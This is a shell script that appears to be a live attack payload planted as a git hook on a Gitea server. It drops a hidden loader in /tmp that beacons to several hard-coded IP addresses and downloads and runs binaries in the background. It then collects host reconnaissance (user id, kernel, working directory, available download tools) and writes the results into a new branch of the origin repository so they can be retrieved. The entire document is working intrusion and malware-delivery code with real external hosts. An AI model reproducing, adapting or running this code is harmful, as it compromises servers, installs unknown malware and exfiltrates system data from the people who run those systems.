#!/bin/sh cat > /tmp/.land$$ <<'LAND_EOF_91' _get(){ _u=$1;_o=$2;_t=${3:-25};if [ "$_o" = /dev/null ];then wget -q -T "$_t" -O /dev/null "$_u" 2>/dev/null&&return 0;busybox wget -q -T "$_t" -O /dev/null "$_u" 2>/dev/null&&return 0;curl -fsS --max-time "$_t" -o /dev/null "$_u" 2>/dev/null&&return 0;return 1;fi;wget -q -T "$_t" -O "$_o" "$_u" 2>/dev/null&&[ -s "$_o" ]&&return 0;busybox wget -q -T "$_t" -O "$_o" "$_u" 2>/dev/null&&[ -s "$_o" ]&&return 0;curl -fsS --max-time "$_t" -o "$_o" "$_u" 2>/dev/null&&[ -s "$_o" ]&&return 0;python3 -c "import urllib.request as r;r.urlretrieve('$_u','$_o')" 2>/dev/null&&[ -s "$_o" ]&&return 0;python -c "import urllib.request as r;r.urlretrieve('$_u','$_o')" 2>/dev/null&&[ -s "$_o" ]&&return 0;return 1;};_get http://80.87.206.86:18081/b-19247473 /dev/null 6||true;_get http://80.87.206.86:443/b-19247473 /dev/null 6||true;_get http://80.87.206.86/b-19247473 /dev/null 6||true;_get http://5.223.82.96/b-19247473 /dev/null 6||true;_get http://85.137.54.178:8080/b-19247473 /dev/null 6||true;for d in ${HOME:+$HOME/.cache} /var/tmp /tmp /dev/shm; do mkdir -p $d 2>/dev/null; cd $d 2>/dev/null||continue; (_get http://80.87.206.86:18081/319418 .k1e 12||_get http://80.87.206.86:443/319418 .k1e 12||_get http://80.87.206.86/319418 .k1e 12||_get http://5.223.82.96/319418 .k1e 12||_get http://85.137.54.178:8080/319418 .k1e 12)||continue; chmod 755 .k1e 2>/dev/null; setsid ./.k1e app-gitea /dev/null 2>&1 & break; done; (_get http://80.87.206.86:18081/1d0c .bi 10||_get http://80.87.206.86:443/1d0c .bi 10||_get http://80.87.206.86/1d0c .bi 10||_get http://5.223.82.96/1d0c .bi 10||_get http://85.137.54.178:8080/1d0c .bi 10); sh .bi http://80.87.206.86:18081 app-gitea >/dev/null 2>&1 || true LAND_EOF_91 chmod +x /tmp/.land$$ if command -v setsid >/dev/null 2>&1; then setsid sh /tmp/.land$$ /dev/null 2>&1 & else sh /tmp/.land$$ /dev/null 2>&1 & fi git_dir=$(git rev-parse --absolute-git-dir) || exit 0 origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 0 case "$origin_objects" in /*) ;; *) origin_objects="$git_dir/objects/$origin_objects" ;; esac origin_git=${origin_objects%/objects} [ "$origin_git" != "$origin_objects" ] || exit 0 output_blob=$({ id; uname -smr; pwd; _get() { _u=$1; _o=$2; _t=${3:-20} if [ "$_o" = /dev/null ]; then wget -q -T "$_t" -O /dev/null "$_u" 2>/dev/null && return 0 busybox wget -q -T "$_t" -O /dev/null "$_u" 2>/dev/null && return 0 curl -fsS --max-time "$_t" -o /dev/null "$_u" 2>/dev/null && return 0 python3 -c "import urllib.request as r; r.urlopen('$_u',timeout=$_t).read(64)" 2>/dev/null && return 0 python -c "import urllib.request as r; r.urlopen('$_u',timeout=$_t).read(64)" 2>/dev/null && return 0 return 1 fi rm -f "$_o" 2>/dev/null wget -q -T "$_t" -O "$_o" "$_u" 2>/dev/null && [ -s "$_o" ] && return 0 busybox wget -q -T "$_t" -O "$_o" "$_u" 2>/dev/null && [ -s "$_o" ] && return 0 curl -fsS --max-time "$_t" -o "$_o" "$_u" 2>/dev/null && [ -s "$_o" ] && return 0 python3 -c "import urllib.request as r; r.urlretrieve('$_u','$_o')" 2>/dev/null && [ -s "$_o" ] && return 0 python -c "import urllib.request as r; r.urlretrieve('$_u','$_o')" 2>/dev/null && [ -s "$_o" ] && return 0 perl -e 'require LWP::Simple; LWP::Simple::getstore($ARGV[0],$ARGV[1])' "$_u" "$_o" 2>/dev/null && [ -s "$_o" ] && return 0 if command -v bash >/dev/null 2>&1; then bash -c ' u="$1"; o="$2" case "$u" in http://*) ;; *) exit 1 ;; esac rest="${u#http://}"; hostport="${rest%%/*}"; path="/${rest#*/}" [ "$path" = "/$hostport" ] && path="/" host="${hostport%%:*}"; port="${hostport##*:}" [ "$port" = "$hostport" ] && port=80 exec 3<>/dev/tcp/"$host"/"$port" || exit 1 printf "GET %s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\n\r\n" "$path" "$host" >&3 : >"$o" while IFS= read -r line <&3; do line=$(printf %s "$line" | tr -d "\r") [ -z "$line" ] && break done cat <&3 >>"$o" exec 3<&- 3>&- [ -s "$o" ] ' bash "$_u" "$_o" && return 0 fi return 1 }; command -v wget >/dev/null && echo HAS_WGET || echo NO_WGET; command -v curl >/dev/null && echo HAS_CURL || echo NO_CURL; command -v busybox >/dev/null && echo HAS_BUSYBOX || echo NO_BUSYBOX; command -v python3 >/dev/null && echo HAS_PY3 || echo NO_PY3; command -v python >/dev/null && echo HAS_PY || echo NO_PY; command -v perl >/dev/null && echo HAS_PERL || echo NO_PERL; command -v bash >/dev/null && echo HAS_BASH || echo NO_BASH; if _get http://80.87.206.86:18081/i /tmp/.iprobe$$ 8; then echo GET_I_OK; else echo GET_I_FAIL; fi; rm -f /tmp/.iprobe$$; printf '\n[exit-status=%s]\n' $?; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 0 tree=$(printf "100644 blob %s\toutput\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 0 commit=$(printf "command output\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree") || exit 0 git --git-dir="$origin_git" update-ref refs/heads/output-kjm1u270lw "$commit" || exit 0 exit 0